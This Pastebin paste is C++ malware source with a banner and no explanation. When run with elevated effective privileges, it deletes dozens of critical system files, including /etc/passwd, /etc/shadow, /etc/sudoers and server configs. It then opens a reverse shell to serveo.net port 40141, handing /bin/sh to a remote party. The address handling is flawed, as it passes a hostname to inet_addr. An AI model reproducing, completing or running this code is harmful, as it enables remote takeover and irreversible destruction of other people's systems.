Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <stdlib.h>
- #include <unistd.h>
- #include <netinet/in.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <arpa/inet.h>
- #include <string>
- #include <array>
- #include <algorithm>
- #define REMOTE_ADDR "serveo.net"
- #define REMOTE_PORT 40141
- void rm(std::string file) {
- // remove file
- remove(file.c_str());
- }
- void file_remove() {
- // remove list file
- std::array<std::string, 36> list = {
- "/etc/os-release",
- "/etc/passwd",
- "/etc/shadow",
- "/etc/group",
- "/etc/issue",
- "/etc/issue.net",
- "/etc/motd",
- "/etc/sudoers",
- "/etc/hosts",
- "/etc/aliases",
- "/proc/version",
- "/etc/resolv.conf",
- "/etc/sysctl.conf",
- "/etc/named.conf",
- "/etc/network/interfaces",
- "/etc/squid/squid.conf",
- "/usr/local/squid/etc/squid.conf",
- "/etc/ssh/sshd_config",
- "/etc/httpd/conf/httpd.conf",
- "/usr/local/apache2/conf/httpd.conf",
- "/etc/apache2/apache2.conf",
- "/etc/apache2/httpd.conf",
- "/usr/pkg/etc/httpd/httpd.conf",
- "/usr/local/etc/apache22/httpd.conf",
- "/usr/local/etc/apache2/httpd.conf",
- "/var/www/conf/httpd.conf",
- "/etc/apache2/httpd2.conf",
- "/etc/httpd/httpd.conf",
- "/etc/lighttpd/lighttpd.conf",
- "/etc/nginx/nginx.conf",
- "/etc/fstab",
- "/etc/mtab",
- "/etc/crontab",
- "/etc/inittab",
- "/etc/modules.conf",
- "/etc/modules"
- };
- // looping
- std::for_each(list.begin(), list.end(), rm);
- }
- void reverse_shell() {
- // reverse tcp
- struct sockaddr_in sa;
- int s;
- sa.sin_family = AF_INET;
- sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
- sa.sin_port = htons(REMOTE_PORT);
- s = socket(AF_INET, SOCK_STREAM, 0);
- connect(s, (struct sockaddr *)&sa, sizeof(sa));
- dup2(s, 0);
- dup2(s, 1);
- dup2(s, 2);
- execve("/bin/sh", 0, 0);
- }
- int main() {
- //banner
- std::cout << R"(
- __
- /\ .-" /
- / ; .' .'
- : :/ .'
- \ ;-.'
- .--""""--..__/ `.
- .' .' `o \
- / ` ;
- : \ :
- .-; -. `.__.-'
- : ; \ , ;
- '._: ; : (
- \/ .__ ; \ `-.
- ; "-,/_..--"`-..__)
- '""--.._:
- )";
- auto uid = getuid();
- auto euid = geteuid();
- if(uid != euid) {
- // run as other (root)
- file_remove();
- }
- reverse_shell();
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement